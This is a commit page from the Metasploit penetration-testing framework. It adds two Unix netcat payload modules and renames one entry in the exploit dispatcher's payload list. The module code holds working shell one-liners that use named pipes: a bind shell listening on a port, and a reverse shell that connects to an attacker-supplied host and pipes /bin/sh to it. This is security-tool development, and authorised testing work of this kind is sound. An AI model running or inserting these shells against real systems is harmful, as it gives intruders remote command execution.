Skip to content

Commit f0cee29

Browse files
author
jvazquez-r7
committed
modified CommandDispatcher::Exploit to have the change into account
1 parent c9268c3 commit f0cee29

File tree

3 files changed

+117
-1
lines changed

3 files changed

+117
-1
lines changed

lib/msf/ui/console/command_dispatcher/exploit.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -253,7 +253,7 @@ def self.choose_payload(mod, target)
253253
'cmd/unix/interact',
254254
'cmd/unix/reverse',
255255
'cmd/unix/reverse_perl',
256-
'cmd/unix/reverse_netcat',
256+
'cmd/unix/reverse_netcat_gaping',
257257
'windows/meterpreter/reverse_nonx_tcp',
258258
'windows/meterpreter/reverse_ord_tcp',
259259
'windows/shell/reverse_tcp',
Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'msf/core/handler/bind_tcp'
10+
require 'msf/base/sessions/command_shell'
11+
require 'msf/base/sessions/command_shell_options'
12+
13+
module Metasploit4
14+
15+
include Msf::Payload::Single
16+
include Msf::Sessions::CommandShellOptions
17+
18+
def initialize(info = {})
19+
super(merge_info(info,
20+
'Name' => 'Unix Command Shell, Bind TCP (via netcat)',
21+
'Description' => 'Listen for a connection and spawn a command shell via netcat',
22+
'Author' =>
23+
[
24+
'm-1-k-3',
25+
'egypt',
26+
'juan vazquez'
27+
],
28+
'License' => MSF_LICENSE,
29+
'Platform' => 'unix',
30+
'Arch' => ARCH_CMD,
31+
'Handler' => Msf::Handler::BindTcp,
32+
'Session' => Msf::Sessions::CommandShell,
33+
'PayloadType' => 'cmd',
34+
'RequiredCmd' => 'netcat',
35+
'Payload' =>
36+
{
37+
'Offsets' => { },
38+
'Payload' => ''
39+
}
40+
))
41+
end
42+
43+
#
44+
# Constructs the payload
45+
#
46+
def generate
47+
return super + command_string
48+
end
49+
50+
#
51+
# Returns the command string to use for execution
52+
#
53+
def command_string
54+
backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
55+
"mknod /tmp/#{backpipe} p; (nc -l -p #{datastore['LPORT']} ||nc -l #{datastore['LPORT']})0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
56+
end
57+
58+
end
Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'msf/core/handler/reverse_tcp'
10+
require 'msf/base/sessions/command_shell'
11+
require 'msf/base/sessions/command_shell_options'
12+
13+
module Metasploit4
14+
15+
include Msf::Payload::Single
16+
include Msf::Sessions::CommandShellOptions
17+
18+
def initialize(info = {})
19+
super(merge_info(info,
20+
'Name' => 'Unix Command Shell, Reverse TCP (via netcat)',
21+
'Description' => 'Creates an interactive shell via netcat',
22+
'Author' =>
23+
[
24+
'm-1-k-3',
25+
'egypt',
26+
'juan vazquez'
27+
],
28+
'License' => MSF_LICENSE,
29+
'Platform' => 'unix',
30+
'Arch' => ARCH_CMD,
31+
'Handler' => Msf::Handler::ReverseTcp,
32+
'Session' => Msf::Sessions::CommandShell,
33+
'PayloadType' => 'cmd',
34+
'RequiredCmd' => 'netcat',
35+
'Payload' =>
36+
{
37+
'Offsets' => { },
38+
'Payload' => ''
39+
}
40+
))
41+
end
42+
43+
#
44+
# Constructs the payload
45+
#
46+
def generate
47+
return super + command_string
48+
end
49+
50+
#
51+
# Returns the command string to use for execution
52+
#
53+
def command_string
54+
backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
55+
"mknod /tmp/#{backpipe} p; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} "
56+
end
57+
58+
end

0 commit comments

Comments
 (0)